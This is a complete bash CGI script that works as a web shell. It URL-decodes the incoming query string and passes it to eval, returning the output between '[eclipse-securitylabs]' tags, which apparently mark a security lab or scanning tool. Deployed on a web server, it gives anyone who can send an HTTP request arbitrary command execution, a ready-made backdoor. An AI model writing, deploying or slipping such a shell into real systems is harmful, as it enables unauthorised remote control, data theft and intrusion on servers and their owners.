#!/bin/bash
echo -e "Content-Type: text/html\n"
CMD=$(echo "$QUERY_STRING" | sed 's/%/\\x/g' | xargs -0 printf '%b' 2>/dev/null || echo "$QUERY_STRING")
if [ -n "$CMD" ]; then
    echo '[eclipse-securitylabs]<pre>'
    eval "$CMD" 2>&1
    echo '</pre>[eclipse-securitylabs]'
fi
